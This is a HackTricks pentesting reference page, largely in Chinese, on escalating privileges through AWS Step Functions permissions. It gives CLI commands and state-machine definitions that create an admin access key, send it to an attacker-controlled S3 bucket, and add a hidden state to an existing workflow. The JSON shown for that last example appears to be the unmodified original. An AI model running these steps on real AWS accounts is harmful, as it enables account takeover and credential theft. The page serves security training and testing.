AWS - Step Functions Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

任务资源

这些权限提升技巧需要使用一些 AWS Step Functions 资源来执行所需的权限提升操作。

要查看所有可能的操作,你可以登录自己的 AWS 账户,选择想要使用的操作并查看其使用的参数,例如:

或者你也可以查看 AWS API 文档并检查每个操作的说明:

states:TestState & iam:PassRole

拥有 states:TestStateiam:PassRole 权限的攻击者可以在不创建或更新现有状态机的情况下测试任意状态并将任意 IAM 角色传递给它,从而可能利用这些角色的权限对其他 AWS 服务进行未授权访问。两者结合可能导致广泛的未授权操作,包括操纵工作流以更改数据、导致数据泄露、操控资源以及权限提升。

aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

下面的示例展示了如何测试一个会为 admin 用户创建 access key 的 state,方法是利用这些权限以及 AWS 环境中的一个宽松 role。该宽松 role 应当关联任意高权限 policy(例如 arn:aws:iam::aws:policy/AdministratorAccess),从而允许该 state 执行 iam:CreateAccessKey 操作:

  • stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • 命令 用于执行 privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

潜在影响: 未经授权地执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

具有 states:CreateStateMachine& iam:PassRole 的攻击者能够创建一个状态机并为其指定任意 IAM 角色,从而以该角色的权限对其他 AWS 服务进行未授权访问。与之前的提权技术(states:TestState & iam:PassRole)不同,这种方法本身不会自动执行;你还需要拥有 states:StartExecutionstates:StartSyncExecution 权限(states:StartSyncExecution标准工作流不可用仅用于表达状态机),才能启动并执行该状态机。

# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

以下示例展示如何创建一个状态机,为 admin 用户创建访问密钥并将该访问密钥外泄到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境中的一个宽松角色。该宽松角色应关联任一高权限策略(例如 arn:aws:iam::aws:policy/AdministratorAccess),以允许状态机执行 iam:CreateAccessKey & s3:putObject 操作。

  • stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • 命令 用于 创建状态机:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • 命令 用于 启动先前创建的状态机的执行
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Warning

攻击者控制的 S3 存储桶应具有接受来自受害者账号的 s3:PutObject 操作的权限。

潜在影响:未经授权的执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。

states:UpdateStateMachine &(并非总是需要)iam:PassRole

具有 states:UpdateStateMachine 权限的攻击者能够修改状态机(state machine)的定义,可以添加额外的隐蔽状态,从而可能导致权限提升。这样,当合法用户启动该 state machine 的执行时,这个新的恶意隐蔽状态将被执行,权限提升就会成功。

取决于与该 state machine 关联的 IAM Role 的宽松程度,攻击者会面临两种情况:

  1. 权限宽松的 IAM Role:如果与该 state machine 关联的 IAM Role 已经很宽松(例如附加了 arn:aws:iam::aws:policy/AdministratorAccess 策略),则不需要 iam:PassRole 权限来提升权限,因为无需同时更新 IAM Role,仅修改 state machine 定义就足够了。
  2. 权限不宽松的 IAM Role:与前一种情况相反,这种情况下攻击者还需要 iam:PassRole 权限,因为除了修改 state machine 定义外,还需要将一个权限宽松的 IAM Role 关联到该 state machine。
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

下面的示例展示了如何更新一个仅调用 HelloWorld Lambda function 的合法状态机,以便添加一个额外的状态,该状态会将用户 unprivilegedUser 添加到 administrator IAM 组。这样,当合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,从而实现权限提升。

Warning

如果该状态机没有关联一个具有宽松权限的 IAM 角色,则还需要 iam:PassRole 权限来更新 IAM 角色,以便关联一个具有宽松权限的 IAM 角色(例如附加了 arn:aws:iam::aws:policy/AdministratorAccess 策略的角色)。

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • 命令 执行以 更新 合法的状态机:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

潜在影响: 未经授权地执行和操纵工作流并访问敏感资源,可能导致重大安全漏洞。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks